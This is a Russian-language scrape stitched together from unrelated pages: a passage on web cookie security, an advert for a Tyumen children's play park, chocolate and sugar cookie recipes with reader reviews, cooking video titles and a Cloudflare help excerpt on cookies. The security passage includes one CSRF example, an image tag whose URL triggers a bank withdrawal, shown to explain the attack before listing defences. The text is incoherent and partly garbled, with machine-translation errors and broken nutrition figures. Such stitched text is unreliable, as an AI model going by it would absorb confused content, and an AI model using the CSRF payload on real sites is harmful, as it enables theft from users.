В Wikipedia приведён хороший пример CSRF. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:

  • Как и при XSS (en-US), важна фильтрация входящей информации.
  • Для любой важной операции должно запрашиваться подтверждение.
  • Куки, используемые для ответственных операций, должны иметь короткий срок действия.
  • Дополнительную информацию можно получить в пользовательской инструкции по предотвращению OWASP CSRF.

Сторонние (Third-party) куки

Куки связаны с определённым доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют «куками первого лица» (first-party cookies). Если это другой домен, их называют «сторонними куками» (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

Не отслеживать (Do-Not-Track)

Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок DNT, хотя технических или законодательных требований на этот счёт нет. Подробнее об этом рассказывается в разделе заголовок DNT.

Директива Евросоюза о куках

Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счёт могут быть свои законы.

Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.

Куки-зомби и «вечные» куки

Более радикальный подход к кукам представляют собой куки-зомби, или «вечные» куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.

«КукуруЗа» | Семейный парк активного отдыха | Тюмень

Все еще не знаете куда сходить с ребенком отдохнуть или как весело провести каникулы, отметить выпускной в детском саду и начальной школе, новогодний утренник, детский новогодний праздник или новогоднюю елку? Теперь есть ответ на вопрос: куда сходить с ребенком и как провести досуг вместе с ребенком! КукуруЗа — Отличное место развлечения для детей в Тюмени. Это то место, где ваши дети смогут зарядиться положительными эмоциями и развлечься. В нашем детском парке развлечений они найдут различные аттракционы и, конечно, самый дружелюбный персонал. Создавая наш семейный досуговый центр, мы стремились сделать праздничную атмосферу и комфортное пространство как для детей, так и взрослых. В результате детская игровая Кукуруза стала главной изюминкой ТРЦ «ПРЕМЬЕР». Он запестрел яркими красками, а каждый аттракцион расположился таким образом, чтобы родителям было удобно наблюдать за своими детьми. Стоит отметить, что каждый год мы стараемся разнообразить услуги нашего детского центра. КукуруЗа, это больше чем батутный центр, это увлекательные батуты, яма из поролона, сухой бассейн, игровой лабиринт, горки, аэрохоккей, качели, гамаки, троллей, захватывающая вулкан-горка и всеми любимая тарзанка!

Отправляясь с ребенком в развлекательный комплекс, мама и папа, прежде всего, думают о его безопасности. Ведь он еще недостаточно взрослый, чтобы адекватно оценивать риски. Однако в нашем парке родителям не придется беспокоиться. Безопасность детей — один из главных приоритетов работы нашего парка. У нас только мягкие аттракционы, которые исключают вероятность получения травмы. Так что даже маленький ребенок сможет активно прыгать и кувыркаться. Родители тоже не будут скучать в нашем парке. Специально для них мы обустроили комфортные зоны отдыха, которые помогут провести отдых с детьми. Поэтому они смогут провести свой выходной день практически так же, как и дома.

Мы очень хотим чтобы наш детский центр развлечений посетило максимальное количество детей. И поэтому предлагаем различные варианты посещения — от 30 минут до безлимита. К примеру, минимальное количество времени уместно брать в будний день, когда ощущается дефицит времени. А вот в выходные или каникулы дети абсолютно свободны. Поэтому выгоднее взять безлимит и провести у нас целый день. Приходите в парк КукуруЗа, и вы подарите своим детям волшебный игровой мир, в котором всегда уютно и весело. Помните — даже небольшая, но искренняя радость вашего ребенка сблизит вас намного сильнее, чем самая дорогая игрушка.

Наш адрес: ТРЦ «ПРЕМЬЕР» 3-й этаж, ул. 50 лет ВЛКСМ, 63.

Одно шоколадное печенье — Классное приготовление

Рецепт всего одного большого шоколадного печенья!

Идеально подходит для двоих (или для одного, и половину можно отложить на потом), или это веселый проект выпечки, который можно сделать вместе с детьми! Он идеально мягкий и жевательный, восхитительно сладкий и маслянистый, и кто может устоять перед этими слегка хрустящими краями?

Рецепт одного шоколадного печенья

Этот рецепт не требует миксера. Это займет всего около 5 минут, несколько инструментов и быстрое выпекание в духовке, и вы получите невероятно вкусное печенье с шоколадной крошкой!

Мы говорим о правильном количестве хрустящей корочки по краям, идеально мягкой, влажной и жевательной сердцевине, а также обильном количестве кусочков темного шоколада.

Точно так же, как и должно было быть печенье с шоколадной крошкой, но его гораздо проще приготовить!

Я знаю, что яичная часть этого рецепта раздражает, 1 столовая ложка, остальное нужно сохранить (они идеально подходят для омлета). Но это того стоит. Одно целое яйцо было бы слишком много, и я пробовал альтернативные методы, такие как использование другой жидкости, но они просто не имеют хорошей текстуры.

Этот рецепт любим всей семьей! Попробуйте сами, и вы поймете, почему.

Как приготовить одно шоколадное печенье

Самый простой рецепт печенья с шоколадной крошкой.Вот разбивка простых шагов (прокрутите ниже количество ингредиентов и полные инструкции):

  1. Разогреть духовку, приготовить противень.
  2. Нагрейте сливочное масло в миске, пригодной для использования в микроволновой печи, почти до плавления.
  3. Добавьте коричневый сахар, соль, порцию яйца, ваниль, муку и пищевую соду.
  4. Перемешайте, чтобы хорошо перемешать.
  5. Смешайте шоколадную стружку.
  6. На подготовленном противне придать форму круглой формы, сверху выложить кусочки шоколада.
  7. Выпекать до золотистого цвета по краям.

Возможные варианты:

  • Разделите тесто на 3 части, чтобы сделать 3 печенья меньшего размера (вариант печенья небольшой партии). Начните проверять файлы cookie примерно через 8 минут.
  • Используйте M&M (обычные или мини) вместо шоколадной крошки.
  • Используйте стружку из белого шоколада и посыпьте ее.

Еще больше рецептов вкусного печенья

Рецепт одного большого шоколадного печенья

Этот рецепт занимает всего около 5 минут, несколько инструментов для приготовления и быстрое выпекание в духовке, и вы получите невероятно вкусное печенье с шоколадной крошкой!

Порции: 2 порции (1/2 печенья)

Подготовка5 минут

Готовка12 минут

Готовность: 17 минут

  • 2 столовые ложки (28 г) соленого масла
  • 3 столовые ложки (38 г) светло-коричневого сахара в упаковке
  • 1 щепотка соли
  • 1 столовая ложка взбитого яйца *
  • 1/4 чайной ложки ванильного экстракта
  • 1/3 чашки (40 г) универсальная мука
  • 1/8 чайной ложки пищевой соды
  • 4 столовые ложки (42 г) шоколадных чипсов, разделенных на части
  • Разогрейте духовку до 180 ° C (350 ° F).Положите масло в миску для смешивания, пригодную для использования в микроволновой печи. Нагрейте в микроволновой печи почти до тех пор, пока он не растает (вы хотите, чтобы он почти полностью расплавился, выньте его из микроволновой печи непосредственно перед тем, как он полностью растает, и перемешайте, чтобы он полностью расплавился. Вы просто не хотите, чтобы он был слишком горячим, иначе оно сварит яйцо и расплавит шоколадную стружку, когда помешивая).

  • В топленое масло добавить коричневый сахар, соль, 1 ст. Л. Яйца, ваниль, муку и пищевую соду. Перемешайте ложкой до однородного состояния, примерно 20-30 секунд.

  • Смешайте 3 столовые ложки шоколадной стружки.

  • Сформируйте тесто в виде диска размером 3 1/2 дюйма на листе для выпечки, выстланном силпатом или пергаментной бумагой, аккуратно прижмите оставшуюся 1 столовую ложку шоколадной крошки в произвольном порядке поверх и по бокам печенья.

  • Выпекать в предварительно разогретой духовке 12–14 минут, пока печенье не станет золотистым. Подавайте в теплом виде или дайте остыть на решетке, затем храните в герметичном контейнере.

  • * Чтобы получить 1 столовую ложку яйца, разбейте яйцо в небольшую миску, взбивайте, пока желток и белок не смешаются, затем отмерьте 1 столовую ложку.Зарезервируйте остаток для другого использования (например, завтрака).
  • ** Если печенье обычно растекается или находится на большей высоте, используйте метод мерной ложки и уровня для измерения муки, если не используйте метод ложки и уровня для измерения муки.

Пищевая ценность

Рецепт одного большого шоколадного печенья

Сумма на порцию

калорий 371 Калорий в составе жира 153

% дневная стоимость *

Жиры 17 г 26%

Насыщенные жиры 10 г 63%

Холестерин 61 мг 20%

Натрий 211 мг 9000 9000

000

Углеводы 49 г 16%

Клетчатка 1 г 4%

Сахар 31 г 34%

Белок 4 г 8%

Витамин A 445IU 9%

Кальций 41 мг 4%

Железо 1.5 мг 8%

* Процент дневной нормы основан на диете в 2000 калорий.

Лучшее сахарное печенье в рулетах

Этот рецепт отлично подходит для скручивания и нарезки печенья … Я попробовал другой рецепт сахарного печенья, и он мне очень не понравился … он не катался и не резался, а печенье было плоским и хрустящим. .. я всегда возвращаюсь к этому … в этом году я сделал призраков для вечеринки / парада моего сына, и друг моей дочери в день рождения на Хэллоуин, поэтому я сделала ему букет печенья, используя этот рецепт…. из этого печенья получаются ОТЛИЧНЫЕ букеты печенья … Я добавляю еще чашку сахара и чайную ложку ванили, и моей семье они понравились НАМНОГО больше … похоже, это не повлияло на способ их приготовления, так что это было хорошо .. Это по-прежнему лучший рецепт сахарного печенья для вырезания форм и изготовления букетов из печенья !! ПРИМЕЧАНИЕ: я живу в южной Флориде, где высокая температура и влажность — я всегда добавляю от 1/4 до 1/2 стакана муки во все свои рецепты печенья. Еще одно ПРИМЕЧАНИЕ: …. тесто, пока вы его раскатываете. конкретный рецепт может быть липким…. просто продолжайте посыпать его сахарной пудрой, и вы можете продолжать работать с ним … добавляя дополнительный аромат … Спасибо!

Этот рецепт ЗАМЕЧАТЕЛЬНЫЙ. Обязательно охладите не менее 1 часа, чтобы тесто стало твердым. Замесить тесто перед раскатыванием булавкой. При раскатывании используйте САХАР вместо муки. Есть много вариантов использования этих файлов cookie. Они великолепны со льдом (и великолепны, если использовать сахарную глазурь для печенья на этом сайте), но они все еще восхитительны, если посыпать их цветным сахаром декоратора (доступным в вашем местном «большом сарае» в МНОГО цветах).Если вам нравится более жевательное печенье, рулоните его более толстым, хрустящим, тонким и т. Д. О, и ПОСМОТРИТЕ его ВНИМАТЕЛЬНО и достаньте из духовки, когда края только начнут подрумяниваться. Если вы оставите их слишком долго, снимите их с листа для печенья БЫСТРО — они остынут быстрее. Наконец, используйте пергаментную бумагу, чтобы выровнять противни для печенья, чтобы их было легче удалить. Два больших пальца вверх!!

Я должен добавить свой голос к сотням передо мной. Эти куки — чудо! Хотя мне нравится думать, что я разбираюсь в кухне, сахарное печенье всегда было для меня катастрофой.Уже нет! Лучший совет, который я получил, был взят из обзора ниже — я раскатал их на пергаментной бумаге, а затем вытащил обрывки вокруг вырезанного печенья. Это устранило повреждение файлов cookie при их переносе на противень. Я использовала 1 1/2 ч. Л. ваниль как предложено. Я сделала их для свадебного приема, используя инициалы жениха и невесты, покрыла их белой глазурью и посыпала радужными съедобными блестками. Они были красивыми и вкусными. Спасибо, Джилл. Я сейчас думаю о причинах испечь сахарное печенье…

ВАУ … это отличное сахарное печенье. Именно то, что я искал. Я сделал их для дошкольного класса моего сына, используя фигурки динозавров, и они оказались великолепными. Что мне больше всего понравилось, так это то, что они были красивыми, толстыми и хорошо держали форму. Я волновался, что они сломаются из-за формы динозавра, но на самом деле это не так! Это очень «крепкое» печенье, и я очень рекомендую этот рецепт, если вы используете формочки для печенья. Я скажу … Я сделал рецепт, как для моего первого пробного запуска, и вкус был мягким.К счастью, я добавил маленькие мини-м & м, так что это помогло. Во второй раз я воспользовался предложениями других рецензентов и использовал 3 стакана сахара (вместо рекомендуемых 2) и 2 чайные ложки ванили (вместо 1), и это ОГРОМНО изменило вкус !! На вкус как тот, который вы покупаете в торговом центре !! Еще пара советов, о которых также говорили другие: охладите тесто на пару часов перед использованием … это ОЧЕНЬ помогает при использовании вырезок; обязательно используйте пергаментную бумагу и следите за их приготовлением! Готовят быстро! Моему печенью динозавра потребовалось всего около 5 минут (с 5 печеньями на сковороде).Серьезно, попробуйте эти файлы cookie с этими изменениями, и они вам понравятся !!!

Я сделала это для своего парня на годовщину нашей годовщины. УХ ТЫ! Вот оно что. Как начинающий шеф-кондитер, я всегда в поисках отличных рецептов и способов их «вылечить». Я сделал 1/4 партии в первый раз и подумал, что они немного пресные. ТАК, когда я сделал полный рецепт …. Я добавил 1/2 цедры одного лимона и 1 цедру. кондитерский сахар и 1 гр. гранулированный, для сладости (в 10 раз больше сахара на чашку) взбил сливочным маслом и добавил 2 ч.мы с ванилью следовали остальным ингредиентам и инструкциям … и это было именно то, что я искал … это ПЕЧЕНЬЕ-БУКЕТ! Единственное, вы получаете только 20 или около того печенья, если хотите, чтобы они толщиной 1/2 дюйма … так что я бы удвоил рецепт.

Вкусно! Я попробовал этот метод, который я узнал из другого рецепта сахарного печенья. шарики с тестом, затем окуните стакан в сахар и пригладьте печенье дном засахаренного стакана, чтобы вам не пришлось их скатывать.Я также охлаждаю остальное тесто и делаю столько, сколько мы съедим за один присест. Таким образом, у вас всегда будет свежее печенье.

Я готовил этот рецепт слишком много раз, чтобы сосчитать! Я не знаю, что пошло не так с теми, кому это не понравилось. Мой совет: СЛЕДУЙТЕ чужим предложениям. Я прочитал МНОГО обзоров, и вот что я получил: 1.) Добавьте еще 1 стакан сахара и еще 1 чайную ложку. ваниль. 2.) Дайте тесту остыть на ночь (избавит вас от разочарований) 3.) оставьте миску с тестом в холодильнике и просто выньте порции, над которыми вы работаете.4.) Для вырезания фигур используйте пергаментную бумагу. Когда вы раскатываете тесто, вам понадобится кондитерский сахар, белый сахар или больше муки. 5.) Мое НОВОЕ предложение: после вырезания печенья и удаления лишнего теста я оставляю вырезы на пергаментной бумаге и помещаю все это в морозильную камеру на несколько минут. Когда они станут достаточно жесткими, чтобы их можно было держать в руках, я помещаю их в герметичный контейнер и оставляю в морозильной камере на ночь или хотя бы на несколько часов. Поскольку для застывания требуется всего несколько минут, я переворачиваю 2-3 листка бумаги (нужно консервировать!) И готовлю их прямо из морозильной камеры.Это упрощает обращение с ними, и они значительно лучше сохраняют свою форму, когда это делается таким образом. Предупреждение: вам, очевидно, нужно будет все спланировать при их создании. Гарантирую, что результат того стоит !!!! Как заметил другой зритель: они получаются не хуже (я думаю, ЛУЧШЕ), чем печенье в торговом центре! У меня были люди, которые пытались заплатить мне, чтобы я делал им заказы !!! Удачи ….. Готовим!

Этот рецепт УЖАСНЫЙ. Если бы я мог дать ему ноль звезд, я бы это сделал. Прежде всего, я опытный повар и всегда безоговорочно следую своим инструкциям.Тесто слишком липкое для раскатывания. На самом деле это кошмар. Печенье вздувается, как крошечные лепешки (и да, я использовал универсальную муку) и не подрумянивается. Они недостаточно сладкие и имеют текстуру торта. Но в первую очередь они не выкатываются. Я делал это для вечеринки в честь дня святого валентина своих племянниц, а теперь она испорчена. Я не могу их вырезать, тесто невозможно липкое и не «раскатать» консистенцию. Я понятия не имею, как этот рецепт получил такие высокие оценки … Я выбрал его на основе отзывов, но теперь я обнаружил, что, к сожалению, ошибался.Просто ужасное, ужасное печенье.

Это лучшие! Рецепт вообще не менял, да и не вижу в этом необходимости. Никаких проблем с липкостью теста у меня не было. На самом деле, я использовал очень мало муки, чтобы их раскатать. Это было самое гладкое и удобное тесто для печенья, с которым я когда-либо работал. Я охлаждал свое только 1 час и работал с четвертью теста за раз. Оставшееся тесто я храню в холодильнике, пока не буду готов его использовать. Печенье получилось мягким и влажным…ЧУДЕСНО!!!!

Печенье в сковороде для 2 человек | Рецепт

Как приготовить печенье на сковороде для 2

Как приготовить ндуджа скампи и лингвини | Рэйчел Рэй

Тенденция съемного домашнего декора: бумага из травяной ткани Peel + Stick

Эта 99-летняя девочка-скаут поднимет на ваше лицо огромную улыбку

Как приготовить греческий фаршированный перец (Гемиста) | Рэйчел Рэй

Электролитная вода: знаменитый диетолог взвешивает

Будет ли 2021 год плохим сезоном гриппа? Врач весит

Да, Малкольм-Джамал Уорнер местного жителя + его семья измучены…

Как приготовить лосось с хрустящей кожурой и жареной картошкой-барбекю…

Как сделать имбирный Cosmo | Джон Кузимано

Как приготовить жаркое из свинины с кукурузой и кабачками | Rach…

Легенда уличной группы E Стивен Ван Зандт о своем «немедленном» подключении…

Шеф-повар Джефф Мауро пробует абсорбирующий запах экран от брызг (не более …

Стивен Ван Зандт планирует посмотреть фильм-приквел к фильму «Сопрано»…

Как приготовить измельченный хрустящий картофель с сыром | Рэйчел Рэй

Как подготовить собаку к постпандемии, когда вы вернетесь к работе | V…

Как приготовить гамбургеры со специальным соусом Чимичурри и измельченной C…

Домашний тур знаменитостей: бывший дизайнер Queer Eye Том Филисия Дает…

Как сделать слайдеры с горячей курицей в Нэшвилле »вики полезно Триша Годвуд

Как сделать чили Rellenos | Рэйчел Рэй

Лучшее сахарное печенье (рецепт и видео)

С четкими краями, толстой серединой и местом для множества украшающих глазурь, я знаю, что вам понравится это мягкое вырезанное сахарное печенье.Используйте свои любимые формочки для печенья и попробуйте мою классическую королевскую глазурь.

Это мое любимое сахарное печенье с глазурью. Несколько лет назад я поделился рецептом Салли о пекарской зависимости, а также опубликовал их в своей кулинарной книге. Я приготовил их не менее 38577 раз (представьте себе все масло), поэтому решил, что пора поделиться новыми советами по рецептам, видеоуроком и другой полезной информацией.

Почему вам понравится это сахарное печенье

  • Мягкие, толстые центры со слегка четкими краями
  • Непревзойденный маслянистый аромат ванили
  • Оставьте простой продукт или добавьте ароматизаторов, таких как клен, корица и т. Д.
  • Держите форму
  • Плоская поверхность для декорирования
  • Оставайся мягким на несколько дней
  • Заморозить красиво

Обучающее видео по сахарному печенью


Обзор: Как приготовить сахарное печенье с глазурью

  1. Сделайте тесто для печенья. Вам нужно всего 7-8 ингредиентов. При таком небольшом количестве ингредиентов важно строго следовать рецепту. Основу теста для печенья составляют сливочное масло и сахар. Яйцо — это структура печенья, а экстракт ванили придает аромат. Я почти всегда добавляю немного миндального экстракта для дополнительного аромата и настоятельно рекомендую вам попробовать! Мука — очевидная добавка, разрыхлитель добавляет приподнятость, а соль уравновешивает сладкое. Так много * маленьких ингредиентов * делают * большую работу *, чтобы создать идеальное печенье.Кстати, я тоже делаю шоколадное сахарное печенье!
  2. Разделить на две части. Маленькие куски теста раскатывать легче.
  3. Раскатать тесто для печенья. Раскатайте его до толщины 1/4 дюйма или чуть менее 1/4 дюйма. Если вам сложно равномерно раскатать тесто, попробуйте эту регулируемую скалку. По опыту — это невероятно удобно!
  4. Раскатанное холодное тесто для печенья. Эти сахарные печенья-формочки для печенья не будут держать форму без охлаждения.Охладите раскатанное тесто для печенья от 1-2 часов до 2 дней.
  5. Нарезать фигурками. Если вам нужны предложения по формам для печенья, я люблю бренд Ann Clark. (Не спонсируется, просто настоящий фанат!) Некоторые из моих любимых включают этот набор в виде сердечек, собачью кость, снежинку, снеговика, лист и тыкву.
  6. Выпекать и остывать. В зависимости от размера печенье занимает около 12 минут.
  7. Украсить. См. Предлагаемые мной глазури ниже.

Приготовьте немного муки, когда раскатываете тесто для печенья.Держите рабочую поверхность, руки и скалку слегка посыпанными мукой. Это относительно мягкое тесто.

Уловка — это порядок шагов

Обратите внимание, как я раскатываю тесто ПЕРЕД охлаждением в холодильнике? Это мой трюк, и вы можете увидеть, как я делаю это в видеоуроке выше.

Позвольте мне объяснить, почему я это делаю. Чтобы печенье не растекалось, тесто для печенья необходимо охладить в холодильнике. Сразу после приготовления раскатайте тесто, затем охладите раскатанное тесто.(На этом этапе тесто слишком мягкое, чтобы его можно было разрезать на формы.) Не охлаждайте тесто для печенья, а затем пытайтесь его раскатать, потому что оно будет слишком холодным и с ним будет трудно работать. Я делю тесто пополам, прежде чем раскатывать его, и настоятельно рекомендую вам сделать то же самое. Меньшие куски теста проще поддаются обработке.

Еще одна хитрость! Раскатайте тесто для печенья прямо на силиконовом противне или пергаментной бумаге, чтобы его можно было легко переложить в холодильник. Возьмите его, выложите на противень и поставьте в холодильник.Если в холодильнике недостаточно места для двух противней, сложите раскатанные кусочки теста друг на друга.

Насколько толсто сахарное печенье?

Это сахарное печенье остается мягким, потому что оно довольно толстое. Раскатайте тесто для печенья до толщины примерно 1/4 дюйма или чуть менее 1/4 дюйма. Да, это более толстая сторона, и да, из этого получается очень толстое и мягкое печенье. Если раскатывать тесто для печенья не нравится, попробуйте вместо этого мое печенье с сахаром.

Глазурь для сахарного печенья

У меня есть ДВА рецепта глазури из сахарного печенья, и вы можете выбрать тот, который вам больше подходит.

  1. Любимая королевская глазурь: Я предпочитаю эту королевскую глазурь для сахарного печенья, потому что она проста в использовании, сохнет в течение 1-2 часов и не имеет вкуса, как затвердевший цемент. (Он более мягкий!) Я делаю это с порошком безе. Порошок безе заменяет сырые яичные белки, которые используются в традиционных рецептах королевской глазури.Это устраняет необходимость в свежих яйцах, но при этом обеспечивает ту же консистенцию. Вы можете найти порошок безе в некоторых проходах с выпечкой, в большинстве магазинов для рукоделия с отделом для выпечки и в Интернете. Ванночки на 8 унций всегда хватает мне на какое-то время. Самая сложная часть — добиться идеальной консистенции королевской глазури, но я предоставлю видео с рецептом королевской глазури, чтобы помочь вам.
  2. Easy Glaze Icing: Вы можете найти мой рецепт глазури Easy Glaze в паре с моим рождественским сахарным печеньем. Эту глазурь приготовить проще, чем королевскую, потому что вам не нужен электрический миксер, а консистенция не повлияет на результат.Однако она тоньше, чем королевская глазурь, и не имеет таких резких деталей, как украшения королевской глазури. Для высыхания также требуется добрых 24 часа.

Сердечки на фото украшены моей королевской глазурью с помощью канта Wilton №4. Если вам не нравятся насадки для кондитерских изделий, вы можете просто окунуть верхнюю часть печенья в глазурь, как я делаю это с печеньем-крекером для животных. 🙂


Советы и инструменты для сахарного печенья

Прежде чем я оставлю вас с рецептом, позвольте мне предложить несколько полезных инструментов для сахарного печенья:

  • Листы для печенья
  • Скалка
  • Пищевой краситель: Жидкий пищевой краситель может изменить консистенцию глазури, поэтому я рекомендую гелевый пищевой краситель.Для печенья на фото я использовал несколько капель пыльной розы и 1 каплю небесно-голубого.
  • Наконечники для труб / Сжимающая бутылка: Если вы используете королевскую глазурь, я рекомендую наконечник № 4 Wilton для обводки и заливки. Это замечательный базовый наконечник для трубок, который стоит иметь в своей коллекции. Если вы используете мою глазурь easy glaze, я рекомендую использовать бутылку для выжимания.
  • Конденсаторный мешок: Если вы используете королевскую глазурь и кондитерский наконечник, вам понадобится одноразовый кондитерский мешок или многоразовый кондитерский мешок.

Вот что можно сделать с этим тестом

А если вам хочется сахарного печенья с легким привкусом, попробуйте мое мягкое сырное печенье.

Распечатать часы значок часов

Описание

Я знаю, что это мягкое сахарное печенье вам понравится так же, как и мне, с четкими краями, толстой серединой и местом для множества украшающих глазурей.Количество печенья, получаемых по этому рецепту, зависит от размера используемой формы для печенья. Если вы хотите испечь десятки печенек для большой компании, удвойте рецепт.


  • 2 и 1/4 стакана (281 г) универсальная мука (выровненная ложка)
  • 1/2 чайной ложки разрыхлителя
  • 1/4 чайной ложки соли
  • 3/4 стакана (170 г) несоленого масла , размягченного до комнатной температуры
  • 3/4 стакана (150 г) сахарный песок
  • 1 большое яйцо , комнатной температуры
  • 2 чайные ложки чистый экстракт ванили
  • 1/4 или 1/2 чайной ложки экстракт миндаля (по желанию, но придает великолепный вкус) *
  • Royal Icing или Easy Glaze Icing

  1. Взбейте муку, разрыхлитель и соль в средней миске.Отложите в сторону.
  2. В большой миске с помощью ручного миксера или настольного миксера с лопастной насадкой взбейте масло и сахар вместе на высокой скорости до получения однородной кремообразной массы около 2 минут. Добавьте яйцо, ваниль и экстракт миндаля (если используете) и взбивайте на высокой скорости до смешивания, около 1 минуты. Соскребите по сторонам и дну миски и снова взбейте, чтобы смешать.
  3. Добавьте сухие ингредиенты к влажным и перемешайте на слабом уровне до однородности. Тесто будет относительно мягким.Если тесто кажется слишком мягким и липким для раскатывания, добавьте еще 1 столовую ложку муки.
  4. Разделить тесто на 2 равные части. Положите каждую порцию на кусок пергаментной бумаги, слегка посыпанной мукой, или на силиконовый коврик для выпечки, слегка посыпанный мукой. Слегка посыпанной мукой скалкой раскатайте тесто до толщины примерно 1/4 дюйма. Если тесто кажется слишком липким, используйте больше муки. Раскатанное тесто может быть любой формы, если оно равномерно толщиной 1/4 дюйма.
  5. Слегка посыпьте одно из раскатанного теста мукой.Сверху положите кусок пергамента. (Это предотвратит прилипание). Сверху выложите 2-е раскатанное тесто. Накройте полиэтиленовой пленкой или алюминиевой фольгой, затем поставьте в холодильник на срок от 1-2 часов до 2 дней.
  6. После охлаждения разогрейте духовку до 350 ° F (177 ° C). Выстелите 2-3 больших противня пергаментной бумагой или силиконовыми ковриками. Осторожно достаньте верхний кусок теста из холодильника. Если он прилипает ко дну, проведите рукой под ним, чтобы удалить его — посмотрите, как я это делаю на видео выше.С помощью формочки для печенья нарежьте тесто на формы. Снова раскатайте оставшееся тесто и продолжайте резать, пока все не будет использовано. Повторите то же самое со 2-м куском теста. (Примечание: на вид теста не так много, но из кусочков теста, которые вы перекатываете, получается много печенья.)
  7. Разложите печенье на противне на расстоянии 3 дюймов друг от друга. Выпекать 11–12 минут или пока не подрумянятся края. Если в духовке есть горячие точки, переверните противень по истечении половины времени выпекания. Дайте печенье остыть на противне в течение 5 минут, затем переложите его на решетку, чтобы оно полностью остыло, прежде чем приступать к украшению.
  8. Украсить остывшее печенье королевской глазурью или глазурью my easy glaze. Не стесняйтесь подкрашивать глазурь гелевым пищевым красителем. Рекомендуемые инструменты для декорирования см. В сообщении выше. Не нужно накрывать украшенное печенье, пока вы ждете, пока застынет глазурь. Если это поможет, украсьте печенье прямо на противне, чтобы вы могли положить весь противень в холодильник, чтобы ускорить застывание глазури.
  9. Наслаждайтесь печеньем прямо сейчас или подождите, пока глазурь не застынет, чтобы подать их.После того, как глазурь застыла, эти файлы cookie отлично подходят для подарков или отправки. Простое или декорированное печенье остается мягким около 5 дней, если его плотно накрыть при комнатной температуре. Для более длительного хранения накройте крышкой и поставьте в холодильник на срок до 10 дней.

Банкноты

  1. Инструкции по замораживанию: Обычное или декорированное сахарное печенье хорошо замораживается до 3 месяцев. Подождите, пока глазурь полностью застынет, прежде чем класть между листами пергаментной бумаги в контейнере, подходящем для морозильной камеры.Оттаять, разморозить в холодильнике или при комнатной температуре. Вы также можете заморозить тесто для печенья на срок до 3 месяцев, прежде чем раскатывать его. Приготовьте тесто на шаге 3, разделите пополам, расплющите обе половинки в диск, как мы делаем с корочкой для пирога, заверните каждую в полиэтиленовую пленку и заморозьте. Чтобы разморозить, разморозьте диски в холодильнике, затем доведите до комнатной температуры примерно на 1 час. Раскатайте тесто, как указано в шаге 4, затем охладите раскатанное тесто в холодильнике на 45 минут — 1 час, прежде чем нарезать на формы и выпекать.
  2. Комнатная температура: Сливочное масло комнатной температуры очень важно. Если тесто слишком липкое, возможно, ваше масло слишком мягкое. Сливочное масло комнатной температуры действительно прохладное на ощупь. Вы можете прочитать об этом больше в этом посте. Яйцо комнатной температуры предпочтительнее, так как оно быстро и равномерно смешивается с тестом для печенья.
  3. Ароматизаторы: Я люблю приправлять это тесто для печенья 1/2 чайной ложки миндального экстракта, как указано в ингредиентах выше. Для более легкого вкуса используйте 1/4 чайной ложки.Вместо экстракта миндаля попробуйте использовать 1 чайную ложку экстракта клена, экстракта кокоса, экстракта лимона или экстракта мяты перечной. Или добавьте 1 чайную ложку специи для тыквенного пирога или молотой корицы. Помимо экстракта лимона, вы также можете добавить 1 столовую ложку лимонной цедры.
  4. Глазурь: Используйте глазурь Royal или my easy glaze. См. Сообщение выше, чтобы узнать о различиях.
  5. Обязательно ознакомьтесь с моими 5 лучшими советами по выпечке печенья И это мои 10 обязательных инструментов для выпечки печенья.

Ключевые слова: сахарное печенье, королевская глазурь, рождественское печенье

Общие сведения о файлах cookie Cloudflare — Справочный центр Cloudflare

Cloudflare использует различные файлы cookie для максимального использования сетевых ресурсов, управления трафиком и защиты сайтов наших клиентов от вредоносного трафика.


Обзор

Файлы cookie __ cflb, __cf_bm, __cf_ob_info и __cf_use_ob, и __cfwaitingroom строго необходимы для предоставления услуг, запрашиваемых нашими клиентами (как мы более подробно объясняем в нашей Политике конфиденциальности). ниже.

Cloudflare призывает наших Клиентов раскрывать использование этих файлов cookie своим Конечным пользователям (как определено в нашей Политике конфиденциальности), а в некоторых юрисдикциях от Клиентов может потребоваться раскрыть эти файлы cookie Конечным пользователям.

Данные cookie обрабатываются в центре обработки данных Cloudflare в США и регулируются разделом о трансграничной передаче данных (раздел 7) Политики конфиденциальности Cloudflare.


* __ cflb * cookie для привязки сеанса Cloudflare Load Balancer

При включении привязки сеанса с Cloudflare Load Balancer Cloudflare устанавливает файл cookie __ cflb с уникальным значением в первом ответе запрашивающего клиента. Cloudflare направляет будущие запросы к тому же источнику, оптимизируя использование сетевых ресурсов.В случае аварийного переключения Cloudflare устанавливает новый файл cookie __ cflb , чтобы направлять будущие запросы в пул аварийного переключения.

